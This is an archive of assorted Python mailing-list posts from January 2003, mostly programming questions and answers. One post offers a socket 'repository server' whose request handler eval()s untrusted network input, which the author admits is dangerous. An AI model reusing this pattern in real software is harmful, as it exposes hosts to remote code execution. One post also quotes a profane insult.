"Options" section of http://pmw.sourceforge.net/doc/MegaArchetype.html

HTH
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com




From peter at engcorp.com  Mon Jan 13 17:28:23 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Jan 2003 17:28:23 -0500
Subject: Extracting int from string
References: <avvd1l$ee7$1@news.efn.org>
Message-ID: <3E233D87.AA0EE9E2@engcorp.com>

Spencer Ernest Doidge wrote:
> 
> What would be the best way to extract the integer value 45 from the following string?
> 
> 'X=   45   A'

You haven't provided nearly enough for a general answer.  The answer to "best"
depends on a lot of things.

What is important in your string?  The number of spaces before and after the 45?
The fact that there are spaces there at all?  Spaces, or any whitespace?  What
is the "A"... a single character?  A word?  The rest of the line?

Is the "X=" always going to come first?  Or could it be anything before the
equal sign, including a word (i.e. more than one character), or even a bunch
of text, with embedded whitespace?

Details are important...

int('X=   45   A'.split()[1])  will work on your example string, as will
int('X=   45   A'[5:7]) but neither is a very good way to go...

-Peter



From andrew.thompson at ashecastle.com  Tue Jan 14 03:52:29 2003
From: andrew.thompson at ashecastle.com (Andrew Thompson)
Date: Tue, 14 Jan 2003 08:52:29 -0000
Subject: fast way of turning a list of integers<256 into a string
In-Reply-To: <13a533e8.0301132340.5e56a28a@posting.google.com>
Message-ID: <009201c2bbaa$45a7e260$4802a8c0@blair>

I would try something along the lines of

import array
array.array('B',range(1,255)).tostring()

-----Original Message-----
From: python-list-admin at python.org [mailto:python-list-admin at python.org]
On Behalf Of Peter Abel
Sent: 14 January 2003 07:40
To: python-list at python.org
Subject: Re: fast way of turning a list of integers<256 into a string


jbperez808 at yahoo.com (Jonathan P.) wrote in message
news:<f57664b9.0301131444.26ca3b43 at posting.google.com>...
> s=''
> for i in range(1,255):
>   s+=chr(i)
> 
> has horrible performance (primarily due to string immutability I 
> think).  Is there a function to do the ff. instead:
> 
> x=range(1,255)
> list2str(x)
> 
> and have x become a string?

Hi
everybody has one shot free.
Here is mine one:
>>> text=reduce(lambda x,y:x+chr(y),range(32,128,1),'')
>>> text
'
!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdef
ghijklmnopqrstuvwxyz{|}~\x7f'
>>> 
regards
Peter
-- 
http://mail.python.org/mailman/listinfo/python-list





From yuvalfeld at hotmail.com  Tue Jan 21 02:24:55 2003
From: yuvalfeld at hotmail.com (Yuval)
Date: 20 Jan 2003 23:24:55 -0800
Subject: looking for a math package
Message-ID: <6ca96053.0301202324.7a741acd@posting.google.com>

Hi, 
I'm looking for a package containing some useful math functionality,
written in python. In particular, I want to generate a random variable
that will be drawn from a power law distribution, and I'm looking for
an appropriate package.

Thanks.



From zope at thewebsons.com  Tue Jan  7 22:00:56 2003
From: zope at thewebsons.com (beno)
Date: Tue, 07 Jan 2003 23:00:56 -0400
Subject: Too Self Centered
In-Reply-To: <NTLS9.19696$134.2084753@newsread1.prod.itd.earthlink.net>
References: <mailman.1041984834.14592.python-list@python.org>
Message-ID: <5.1.0.14.0.20030107230003.01f49188@mail.thewebsons.com>

At 02:18 AM 1/8/2003 +0000, you wrote:
>beno wrote:
> > I'm writing my first real script and running into what appears to be a
> > problem. Although this code works perfectly well, it seems to have way too
> > many uses of *self.* in it. But if I don't put them in, the runtime
> > compiler complains that various global names aren't defined. What to do?
> > Here's an example of the code.
> > TIA,
> > beno
> >
> >   def __init__(self):
> >    self.readFile = open('test1','r')
> >    while self.readFile.readline() != '':
> >     self.count = self.count + 1
> >    self.total = self.count
>
>Why do you need 'count' to be a permanent object attribute?  It's also sort
>of odd to keep the file reference unless your object is going to be
>continually accessing the file and will cease to be useful when the file is
>closed.
>
>Maybe you should just use more local variables:
>
>     def __init__(self):
>           f = open('test1','r')
>           while f.readline()!=''
>                 i += 1
>           self.total = i
>           f.close()
>
>or something like that?

I actually use both of these variables more than once.

>Also, note that using deeper indentation steps
>*greatly* improves readability.

Third comment to that effect! Will definitely incorporate this!!
Thanks,
beno






From arosado at softhome.net  Wed Jan  8 19:40:11 2003
From: arosado at softhome.net (Andres Rosado)
Date: Wed, 08 Jan 2003 20:40:11 -0400
Subject: Explicit Frustration of the Self
Message-ID: <5.1.0.14.0.20030108204007.00bb5bd8@mail.softhome.net>

On 04:56 AM 1/4/2003 -0500, the keyboard of python-list-request at python.org 
emitted:
>Another thought: how OO is Python?  It allows me to create Objects, I
>guess.  But do these objects really have methods?  I don't think so.
>Not with the way self acts now.  Right now, you are effectively,
>creating functions and then calling them with the first argument
>outside of the parenthesis, and to the left of the function, and a
>dot.
>
>
>Observe:
> >>> class Object:
>...     name = "Bob"
>...
> >>> def foo(self, argument):
>...     print argument + self.name
>...
> >>> o = Object()
> >>> foo(o, "Hello ")
>Hello Bob
>
>
>Which is pretty much the same as:
> >>> class Object:
>...     name = "Bob"
>...     def foo(self, argument):
>...             print argument + self.name
>...
> >>> o = Object()
> >>> o.foo("Hello ")
>Hello Bob
>
>
>I really don't see much of a difference between foo(o, "Hello ") and
>o.foo("Hello ").  It must be easy from the point of view of the python
>programming, all you bassically do is mangle it to "Object_foo(self,
>blah)", and pre-process all "object.foo(" to "object_foo(".  Seems to
>be.
>So the only real difference is that Object.foo won't conflict with
>OtherObject.foo.  But that doesn't seem like the basis of OO.
>In the end OOP is all about the revolution, not of efficiency or
>computational effectiveness, but of how we can understand the
>structure of the world that we create, its objects, its functions.
>The idea of the explicit self retards this understanding, I believe,
>and forces us to view python objects as code, not objects of a
>pseudo-reality.

That's actually how C++ handles classes too. That's why they have the 
implicit "this" pointer. When classes are created, IIRC, only the data is 
individual[1]. All functions are shared, and the first parameter of EVERY 
function in the class is <drum roll>: '*this'[2]. So we end up in the same 
direction for eficiency reasons.

[1] Static data is shared, of course.
[2] Static functions don't receive the this pointer.


--
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
Homepage: http://andres980.tripod.com/

Most people have two reasons for doing anything --
a good reason, and the real reason.





From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Fri Jan 24 12:35:22 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Fri, 24 Jan 2003 18:35:22 +0100
Subject: killing thread ?
In-Reply-To: <7xadhq8o6u.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <b0rmru$6hb$04$1@news.t-online.com> <7xn0lqbkmh.fsf@ruckus.brouhaha.com> <3E31666F.8060605@v.loewis.de> <7xy95azf09.fsf@ruckus.brouhaha.com> <mailman.1043427344.24979.python-list@python.org> <7xadhq8o6u.fsf@ruckus.brouhaha.com>
Message-ID: <3e3177e8$0$49109$e4fe514c@news.xs4all.nl>

Paul Rubin wrote:
> Skip Montanaro <skip at pobox.com> writes:
> 
>>    Paul> Pick one of the unused ones from the above (probably from the
>>    Paul> 33-61 range).
>>
>>My MacOSX system only goes up as high as 31 (SIGUSR2).  Is calling kill(47)
>>going to be defined?
> 
> 
> On the Mac, you'd use SIGUSR2.  I don't see what's so hard to
> understand about this.  Threads are an OS-specific feature to begin
> with.  You have to expect the internal interface to them to also
> not necessarily be the same for every OS.


<offtopic>

This discussion makes me think back with pleasure at the way threads
were implemented in AmigaDOS... Every process was essentially a thread.
(AmigaDOS didn't have memory protection/processes). The threads could
listen on a flexible set of self-defined "message ports", and various 
signals.
Thread signaling took place by sending a message to a message port
(zero-copy by the way), or signaling the thread (for instance, CTRL-C
was a special signal). Thread woke up because AmigaDOS signalled
it "hey wake up, these-and-these message ports have a message for you".
Asynchronous I/O was done using the exact same message port mechanism.

I don't remember if there was a way to kill a thread. There probably 
was. With severe side-effects ofcourse (non-freed resources).
If there wasn't, you could ofcourse hack the Exec task list and
manually remove the process node ;-)

Back when I did AmigaPython, I never tried to build AmigaDOS threading
support into the interpreter. Could it have been hard to do so?

</offtopic>

Forget my rambling ;-)
Irmen.




From mertz at gnosis.cx  Wed Jan 29 23:51:46 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Wed, 29 Jan 2003 23:51:46 -0500
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu>
 <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk>
 <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net>
 <3E3724FF.8358506E@engcorp.com>
 <u2MZ9.2132$wd2.169355@newsread2.prod.itd.earthlink.net>
 <3E37EFC0.62499650@engcorp.com>
 <cF1_9.3824$wd2.301788@newsread2.prod.itd.earthlink.net>
Message-ID: <i9KO+kKkX4We092yn@gnosis.cx>         

"Brandon Van Every" <vanevery at 3DProgrammer.com> wrote previously:
|Oh please fuck off

*plonk*

--
Keeping medicines from the bloodstreams of the sick; food from the bellies
of the hungry; books from the hands of the uneducated; technology from the
underdeveloped; and putting advocates of freedom in prisons.  Intellectual
property is to the 21st century what the slave trade was to the 16th.




From cnetzer at mail.arc.nasa.gov  Tue Jan 21 22:46:18 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 21 Jan 2003 19:46:18 -0800
Subject: Real inner-product in python
In-Reply-To: <3E2A4C06.7030202@visionsense.com>
References: <3E2A4C06.7030202@visionsense.com>
Message-ID: <200301220346.TAA06834@mail.arc.nasa.gov>

On Saturday 18 January 2003 22:56, Nadav Horesh wrote:
> Is there a package/routine that implements inner-product for arrays
> with rank>2?

> I read in an old thread (1995) a thought to implement an APL-like dot
> (.) operator  in Numeric package (add.inner.subtract <=> +.-) does
> anyone know about an implementation of  the idea?

Numeric does have dot(), and it may do exactly what you want.  Here's 
an example with 1, 2, and 3 dimensional arrays:

$ python
Python 2.2.2 (#1, Jan  3 2003, 12:42:27) 
>>> import Numeric as Num

>>> a = Num.array( [1,2,3] )
>>> b = Num.array( [a, a+3,a+6])
>>> c = Num.array( [b, b+10, b+20] )

>>> Num.rank(a)    
1
>>> Num.rank(b)
2
>>> Num.rank(c)
3

>>> Num.dot(a,a)
14

>>> Num.dot(b,a)
array([14, 32, 50])

>>> Num.dot(a,b)
array([30, 36, 42])

>>> Num.dot(b,b)
array([[ 30,  36,  42],
       [ 66,  81,  96],
       [102, 126, 150]])

>>> Num.dot(c,a)
array([[ 14,  32,  50],
       [ 74,  92, 110],
       [134, 152, 170]])

>>> Num.dot(a,c)
array([[30, 36, 42],
       [51, 57, 63],
       [71, 77, 83]])

>>> Num.dot(c,b)
array([[[ 30,  36,  42],
        [ 66,  81,  96],
        [102, 126, 150]],
       [[150, 186, 222],
        [186, 231, 276],
        [222, 276, 330]],
       [[270, 336, 402],
        [306, 381, 456],
        [342, 426, 510]]])

>>> Num.dot(b,c)
array([[[ 30,  36,  42],
        [ 51,  57,  63],
        [ 71,  77,  83]],
       [[ 66,  81,  96],
        [117, 132, 147],
        [167, 182, 197]],
       [[102, 126, 150],
        [183, 207, 231],
        [263, 287, 311]]])

etc...


Is that all you need?

>
>   Nadav.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From altis at semi-retired.com  Mon Jan 13 00:59:32 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sun, 12 Jan 2003 21:59:32 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]	MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org>
Message-ID: <vAsU9.66$_d2.118955@news.uswest.net>

There is only one name possible, it must be called pythy.

As in pithy

http://dictionary.reference.com/search?q=pithy

Well it seemed good at the time ;-)

ka

"Paul Swartz" <z3p at twistedmatrix.com> wrote in message
news:mailman.1042428982.26240.python-list at python.org...
> On 13 Jan 2003 at 4:17, Christian Tismer wrote:
>
> > Bengt Richter wrote:
> > > At 03:39 2003-01-13 +0100, Christian Tismer wrote:
> > > [...]
> > >
> > >>At the same time, as much as possible should become
> > >>pluggable. It will be possible to have MiniPy
> > >
> > > [...]
> > >
> > > Is "MiniPy" the official name ?
> >
> > No.
> > There is no official name, yet.
> > For some time, I was thinking of
> > "Lilipyt".
> > "Ptn" was the first thought, while
> > not sounding very sexy just expressing brevity.
> > "Pippy" is already occupied.
> > "Minipy"? Well, there are so many "py" projects,
> > this makes it hard to come up with a good new name.
> >
> > While a name is most unimportant for me,
> > I agree that it *is* important for the
> > community to be able to spell it.
>
> Well, 'Jython' is in Java, 'CPython' is C, why
> not, 'PyPython' or 'Pyython'?
>
> -p
> --
>      Paul Swartz
> (o_  http://twistedmatrix.com/users/z3p.twistd/
> //\  z3p at twistedmatrix.com
> V_/_ AIM: Z3Penguin
>
>





From gstein at lyra.org  Mon Jan  6 20:26:47 2003
From: gstein at lyra.org (Greg Stein)
Date: Mon, 06 Jan 2003 17:26:47 -0800
Subject: YATOPS (Yet Another Thread on Python's Speed)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <E18TbTs-0002QZ-00@harrier.mail.pas.earthlink.net> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com>
Message-ID: <20030106.172631.1562402336.23982@lyra.org>

In article <3E144BFC.399B8510 at engcorp.com>, "Peter Hansen"
<peter at engcorp.com> wrote:
>...
> ** "too slow" is almost always defined incorrectly.  In most cases, it
> means "I think this should run faster".  In fact, it should be defined
> as "my customers *require* that this run faster" or something more like
> that.  Most developers are wrong about how fast things really need to
> run... (maybe because they have no requirements.)

Oh, hell ya. I ran into that a bunch when my company (eShop) was acquired
and we arrived at Microsoft with a bunch of Python code in hand. "We have
to rewrite it in C! It's too slow!" "Really? How fast should it be?"
"Um...."

Of course, they still ended up rewriting it...
(but in all fairness, it was probably better as it increased the number
of developers who could actually work on the code and maintain it)

> Another key point is that most people start to optimize their code
> *without* having profiled it first, and *without* making sure the code
> is actually working properly first (i.e. "finished") . Optimization
> without profiling is always bad and, to quote Knuth yet again,
> "Premature optimization is the root of all evil."

The quote I always use is: 90% of the time, you're wrong about where you
spend 90% of the time.

In the case of the eShop code, we were mostly network and database bound.
Changing the stuff in between would do very, very little. And even then,
the bulk of what it *did* do was template processing. And that was all
Python string handling, which was in C anyways!

Cheers,
-g

-- 
Greg Stein, http://www.lyra.org/





From list-python at ccraig.org  Wed Jan  8 10:58:30 2003
From: list-python at ccraig.org (Christopher A. Craig)
Date: 08 Jan 2003 10:58:30 -0500
Subject: Functional Programming: WAS: Too Self Centered
In-Reply-To: <5.1.0.14.0.20030107224809.01f92ad8@mail.thewebsons.com>
References: <mailman.1041984834.14592.python-list@python.org>
	<5.1.0.14.0.20030107224809.01f92ad8@mail.thewebsons.com>
Message-ID: <8765szbpll.fsf@beren.ccraig.org>

beno <zope at thewebsons.com> writes:

> Hmmm. I'm really sold on the philosophical merits of *Functional
> Programming*.  But I appreciate any feedback you have concerning
> optimization here. I need to stick with Python because I'm addicted
> to Zope ;)

I'd recommend you get over that.  Functional programming is nice for
some things, but functional languages have optimizers that optimize
it's main problems away.  Python doesn't.  

Functional programming can create a huge stack and instantiates lots
of namespaces.  Python does neither of these efficiently.

-- 
Christopher A. Craig <list-python at ccraig.org>
"You could shoot Microsoft Office off the planet and this country would
 run better. You would see everyone standing around saying, 'I've got
 so much time now.' "  Scott McNealy (CEO of Sun)




From raims at dot.com  Thu Jan 23 03:21:19 2003
From: raims at dot.com (Rhymes)
Date: Thu, 23 Jan 2003 09:21:19 +0100
Subject: Python magazine(s)?
References: <tdMX9.440$0L3.172774@news2.news.adelphia.net>
Message-ID: <de9v2vskhfqvd1h8l4elpb5g8hnln6vo2n@4ax.com>

On Thu, 23 Jan 2003 06:46:49 GMT, "Robert Oschler"
<Oschler at earthlink.net> wrote:

>I know there some e-zines but what, no Python magazine?  I don't see any at
>my favorite bookstore.  Grab the pitch forks and the angry mob!

Look at http://www.pyzine.com/

--
Rhymes
news://it.comp.lang
The italian Python (and other languages) NG



From andy at eastonwest.co.uk  Tue Jan  7 14:56:48 2003
From: andy at eastonwest.co.uk (andy)
Date: Tue, 7 Jan 2003 19:56:48 +0000
Subject: Repositoryserver module
Message-ID: <200301071956.48019.andy@eastonwest.co.uk>

Here's the repository server code I've been working on.

After thinking a bit more about the name I chose, I now feel that Scoreboard 
or Whiteboard would be more appropriate.

Please bear in mind that it's really *very* primitive at this time, and a bit 
shaky in (possibly many) places.  I've only just got my head around socket 
programming, so I've probably made some stupid blunders here and there.

I have plans to build upon this to add features such as: authentication, 
security, pickling, persistency, separate name-spaces and so on.  The eval() 
style conversion of the request keys will be replaced with something less 
dangerous, or at least vetted for safety some how...

Eventually, I'll wrap it all up in a class, one for the server and one for the 
client.

The server is first, followed by a test-client...

regards, 
-andyj

 
# repositoryserver.py
""" allows remote read/write access to a dictionary over ip sockets"""

import socket,time,string

repository={} # Place to store data
cycle=0 # mostly to show it's still ticking over

class connexion:

    def __init__(self,conn,addr):
        self.conn=conn
        self.addr=addr
        self.packetsize=1024
        self.conn.setblocking(0)

    def send(self,msg):
        """ Sends msg in one go """
        self.conn.sendall(msg)

    def wait_recv(self):
        """ Waits for input to begin and then reads the stream 'dry' """
        # This is a very immature approach though
        # Wait for input to begin
        buf=""
        while buf=="":
            try:
                buf=self.conn.recv(self.packetsize)
            except:
                pass
        # Wait for rest of input to come in
        buf2="*"
        while buf2<>"":
            try:
                buf2=self.conn.recv(self.packetsize)
                buf=buf+buf2                
            except:
                buf2=""
        self.conn.recv(self.packetsize)
        return buf

    def recv(self):
        """ Checks for input on stream and if there is any, reads it 'dry' """
        # Get input
        buf=""
        try:
            buf=self.conn.recv(self.packetsize)
        except:
            buf=""
        # Wait for rest of input to come in
        buf2="*"
        while buf<>"" and buf2<>"":
            try:
                buf2=self.conn.recv(self.packetsize)
                buf=buf+buf2                
            except:
                buf2=""
        return buf

    def process(self,req):
        global repository
        print "Cycle %i Process request %s from %s" % (cycle,req,self.conn)
        req=string.strip(req)
        if req<>"":
            try:
                dict=eval(req)
            except:
                dict={}
            if dict.has_key("request") and dict.has_key("keys"):
                if dict["request"]=="set":
                    dict["response"]="ok"
                    for k in dict["keys"].keys():
                        try:
                            repository[k]=dict["keys"][k]
                        except:
                            dict["response"]="no"
                            dict["reason"]="Failed to set key"
                            dict["key"]=k
                    print repr(dict)
                    self.conn.send(repr(dict))
                elif dict["request"]=="query":
                    dict["response"]="ok"
                    for k in dict["keys"].keys():
                        dict["response"]="ok"
                        if repository.has_key(k):
                            dict["keys"][k]=repository[k]
                        else:
                            dict["response"]="no"
                            dict["reason"]="No such key"
                            dict["key"]=k                                
                    print repr(dict)
                    self.conn.send(repr(dict))
            else:
                print "Error - malformed request"
                self.conn.send("Error - malformed request")                    

    
def checkNewConnexions():
    try:
        conn,addr=s.accept()
        print conn,addr
    except:
        return None
    return connexion(conn,addr)
        
HOST = "" # localhost
PORT = 50007

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((HOST,PORT))
s.setblocking(0)
s.listen(1)
print s

try:
    clients=[]
    quit=0
    cycle=0
    while not quit:
        time.sleep(0.001) # Don't hog the cpu
        c=checkNewConnexions()
        if c<>None:
            print "Adding new client..."
            clients.append(c) # Add client to list
        for c in clients:
            req=c.recv() # Read any incoming request
            if req<>"":
                c.process(req)
        cycle+=1                
    for c in clients:
        c.conn.close()
finally:
    print "Closing connections..."
    for c in clients:
        c.conn.close()
    print "Closing socket..."
    s.close()

#################################################
# repcount.py - a repositoryserver.py client
# simply increments a key by one in a loop

import socket,time,string

def request(inp,blocking=0):
    if inp<>"":
        s.sendall(inp)
        # Get response from server
        resp=""
        buf="*"
        print "waiting for response"
        # need to tidy up timeout here...
        time.sleep(0.02)
        t=time.time()+5
        while len(resp)==0 and t>time.time():
            buf="*"
            while len(buf)  and t>time.time():
                try:
                    buf=s.recv(1024)
                    print "got",buf
                    resp=resp+buf
                except:
                    buf=""
                print "Sleeping"
                time.sleep(0.002)
        return resp
    else:
        return ""
    
def query(key):
    print "Query",key
    resp=request("{'request':'query','keys':{'%s':None}}" % (key,))
    dict=eval(string.strip(resp))
    if dict["response"]=="ok":
        return dict["keys"][key]
    else:
        return None
    
def set(key,v):
    print "Set",key,"=",v
    resp=""
    while resp=="":
        resp=request("{'request':'set','keys':{'%s':%s}}" % (key,repr(v)))
    print resp
    dict=eval(string.strip(resp))    
    if dict["response"]=="ok":
        return 1
    else:
        return 0
    
HOST = "192.168.92.1" # my workstation's ip
PORT = 50007

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.setblocking(0)
try:
    inp=""
    n=1
    # Get key value
    m=query("test")
    if m==None: m=0
    while inp<>"QUIT\r\n":
        print m
        # Set key value
        set("test",m)
        m+=1
finally:
    print "Closing connection..."
    s.close()





From lac at strakt.com  Thu Jan  9 08:39:00 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 14:39:00 +0100
Subject: best college for computer science major 
In-Reply-To: Message from "Van Gale" <vangale@fastmail.fm> 
   of "Thu, 09 Jan 2003 10:01:31 GMT." <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com> 
References: <3e1ba232_6@nopics.sjc> <ef7a350b.0301081249.232b8746@posting.google.com> <mailman.1042095148.4015.python-list@python.org> <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com> 
Message-ID: <200301091339.h09Dd0jL013540@ratthing-b246.strakt.com>

> "Laura Creighton" <lac at strakt.com> wrote in message
> news:mailman.1042095148.4015.python-list at python.org...
> > > "Tupoi" <EDB30 at msn.com> wrote in message news:<3e1ba232_6 at nopics.sjc>...
> > >
> > > The question is meaningless.  All undergrad CS is about the same.
> > > Differences in programs don't show themselves until you get to
> > > graduate level.
> > >
> > > That said, the (generally accepted) best (US) schools for graduate CS
> > > are Carnagie Mellon and MIT.
> > > --
> > > http://mail.python.org/mailman/listinfo/python-list
> >
> > A frightening thought, if true, from the Land that claims to value
> > individualism ...
> >
> > Laura Creighton
> 
> I don't know what to think of this comment.  Such a broad sweeping flame
> based on a broad statement that isn't necessarily true in the first place.

This was not a flame.  If this statement is true, in the United States,
which goes around preaching the value of individualism, than things are
even worse than I thought.

> Are you saying colleges are individuals?  Or maybe you think there should be
> 15 million "best" ways to teach computer science so that we can all have
> different individual approaches to programming.  Each of us should invent
> our own programming language and only use that?

No, I expected answers in the form -- it depends on what you want to
do. 'XXX and YYY are better for fundamental algorithms, and AAA and BBB are 
better places to study computer graphics and animation, and the best
data base theorists are at DDD and EEE' and so on and so forth.  
Computer Science is such a wonderful, varied field, and somebody out
there is asserting that whatever strengths a faculty has is irrelevant
to undergraduates, since they would get the same program if they
studied anywhere, including, I presume some outfit in Phoenix that
keeps filling my mailbox with spam.

There is _something_ _seriously_ _wrong_ if it doesn't make a difference 
where you study.

<snip>
> Van
> 

Laura Creighton




From paddy3118 at tiscali.co.uk  Fri Jan  3 03:49:17 2003
From: paddy3118 at tiscali.co.uk (Paddy)
Date: Fri, 03 Jan 2003 08:49:17 +0000
Subject: Best Python Editor (under Linux)
In-Reply-To: <slrnb19use.h00.grey@teleute.dmiyu.org>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org>
Message-ID: <3e154de3_2@mk-nntp-2.news.uk.tiscali.com>

I have done most of my programming on Solaris workstations, ib which I found that there 
were simple text editors - usually graphical point and type that were developed as part of 
GUIs, and more complex text editorswere you had to invest the time to get results, but 
which rewarded your investment with increased capabilities.

I had used many different Unix boxes and so was introduced very early on, to the vi 
editor. Vi initially did take effort just to do simple editing tasks, but what I have 
found is that lessons learnt in vi were also useful when learning other tools, for example 
the sed command replacements are similar to vi text replacements. Later on I found elvis:
   http://elvis.the-little-red-haired-girl.org/whatiselvis/
This is a vi clone, so I could still use my vi knowledge, but it has expanded 
capabilities, including a GUI mode, syntax highlighting for many languages, (inclding 
python,perl, tcl, verilog, VHDL, HTML), the ability to save syntax highlighted text as 
HTML, viewing simple HTML files as HTML so you can see what is bold or in tables or follow 
links etc, and the ability to interpret man pages and view them as you would after using 
the man command i.e. bold text as bold etc. I also use (g)vim, another vi clone. Gvim 
comes with the excellent gvimdiff  command for viewing file differences (it can highlight 
changed words within a line whi can be very difficult to spot in some files).

As you can see, I am comfortable with the vi family of editors.

Others are comfortable with emacs, another non-simple editor that repays the initial 
steeper learning curve by giving a rich environment. ( I hope I've succeeded in mentioning 
emacs without playing it down - I don't want to continue that war :-).

Hope this helps,

Paddy.






From mwilson at the-wire.com  Fri Jan  3 14:04:49 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Fri, 03 Jan 2003 14:04:49 -0500
Subject: Sorting out sort
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net>
 <v14ch7mkp0vu55@news.supernews.com>
 <mailman.1041382562.17669.python-list@python.org>
 <v15qgkgpq72tbf@news.supernews.com>
 <3759308d.0301011401.4b32deba@posting.google.com>
 <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk>
 <v18hldk4img654@news.supernews.com>
 <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk>
 <v1b7idcfms9ne0@news.supernews.com>
 <mailman.1041604867.10805.python-list@python.org>
Message-ID: <R7dF+ks/K35d089yn@the-wire.com>

In article <mailman.1041604867.10805.python-list at python.org>,
Andrew Bennetts <andrew-pythonlist at puzzling.org> wrote:
>On Fri, Jan 03, 2003 at 09:29:54AM -0500, John Roth wrote:
>>
>> "Anders J. Munch" <andersjm at dancontrol.dk> wrote in message
>> news:3e144c3a$0$71645$edfadb0f at dread11.news.tele.dk...
>> > What more do you need?
>>
>> Something that chains properly.
>
>Really?  How often would you want to call
>l.sort().sort().reverse().reverse()?  ;)

i = s.sort().index(a)

could return the rank of the value of `a` within the
values in `s`.

   But I'm not personally comfortable with hiding that big
side effect inside an innocent-looking expression, even if
cognoscenti have learned to raise a red flag anytime they see
'.sort('.  There's already enough entry-level confusion with

t = s
t.sort()

and finding the values in `s` have all moved.

        Regards.        Mel.


Still, we give up the right to write

i = s[:].sort().index(a)

Oh, well.



From LogiplexSoftware at earthlink.net  Fri Jan 10 17:45:30 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 10 Jan 2003 14:45:30 -0800
Subject: moving items in a list
In-Reply-To: <JHEOKEOOLIGLDHCMAHMOOEKEFIAA.mark@mceahern.com>
References: <JHEOKEOOLIGLDHCMAHMOOEKEFIAA.mark@mceahern.com>
Message-ID: <1042238729.1823.193.camel@software1.logiplex.internal>

On Tue, 2003-01-07 at 13:30, Mark McEahern wrote:
> Below is some code and unit tests to demonstrate how I'm moving items in a
> list.  It works, but I'm sure I'll learn a lot by any feedback you care to
> offer.


> 
> def move_up(l, m):
>     """Move items in m found in l up one position."""
>     for i in range(len(l)):
>         if i == 0:
>             continue
>         item = l[i]
>         if item not in m:
>             continue
>         j = i - 1
>         swap_with = l[j]
>         l[i] = swap_with
>         l[j] = item


Here's an alternative.  Don't know if it's any better:

def move_up(l, m):
    """Move items in m found in l up one position."""
    for i in m:
        try:
            x = l.index(i)
            if x == 0:
                continue
            l[x-1], l[x] = l[x], l[x-1]
        except IndexError:
            continue




-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From martin.schmettow at bibliothek.uni-regensburg.de  Wed Jan 15 08:12:10 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Wed, 15 Jan 2003 14:12:10 +0100
Subject: callability of object: strange behaviour
In-Reply-To: <b03m28$sfv$1@rrzd1.rz.uni-regensburg.de>
References: <b03m28$sfv$1@rrzd1.rz.uni-regensburg.de>
Message-ID: <b03mjl$vqp$1@rrzd1.rz.uni-regensburg.de>

Hi again.

It's not the constructor inside __getattr__ but __getattr__ itself, 
which causes the problem. What do I have to do to make the object 
callable again. And why does callable(node) say TRUE?

Thanks
Martin.

Martin Schmettow wrote:
> What's going wrong? Can anyone explain this behaviour to me?
> Meanwhile I will try, if constructing the parent with new.instance helps.




From p-abel at t-online.de  Wed Jan 22 07:37:46 2003
From: p-abel at t-online.de (Peter Abel)
Date: 22 Jan 2003 04:37:46 -0800
Subject: a single class supporting multiple facets/interfaces
References: <mailman.1043066796.28044.python-list@python.org>
Message-ID: <13a533e8.0301220437.5fdde593@posting.google.com>

David Garamond <davegaramond at icqmail.com> wrote in message news:<mailman.1043066796.28044.python-list at python.org>...
> i want to have a class that can support multiple sets of methods, based 
> on what the client requests. for example, see the following code:
> 
> <<EOF
I'm not capable to understand, what you want to do, what
inheritance can't do better, clearer and better to maintain:
> class C:
>      def foo(self):
>          print "foo"
class C:
  def foo(self):
    print "foo"

>      def bar1(self):
>          print "bar version 1"
>      def bar2(self, arg):
>          print "bar version 2, arg =", arg
>      def facet(self, whichFacet=1):

Here you have to decide for the first time,
which Interface you want!

>          if whichFacet == 1:
>              return C_facet1(self)
>          elif whichFacet == 2:
>              return C_facet2(self)
>          return
> 
> class C_facet1:
>      def __init__(self, c):
>          self.foo = c.foo
>          self.bar = c.bar1

class C_facet1(C):
  def bar(self,arg='')
    print ""bar version 1"
> 
> class C_facet2:
>      def __init__(self, c):
>          self.foo = c.foo
>          self.bar = c.bar2

class C_facet2(C):
  def bar(self,arg='')
    print "bar version 2, arg =", arg

> 
Here you have to decide for the second time,
which Interface you want!

> c1 = C().facet(1) # client1 picks interface1

c1=C_facet1() # client1 picks interface1

> c1.foo()          # prints "foo"

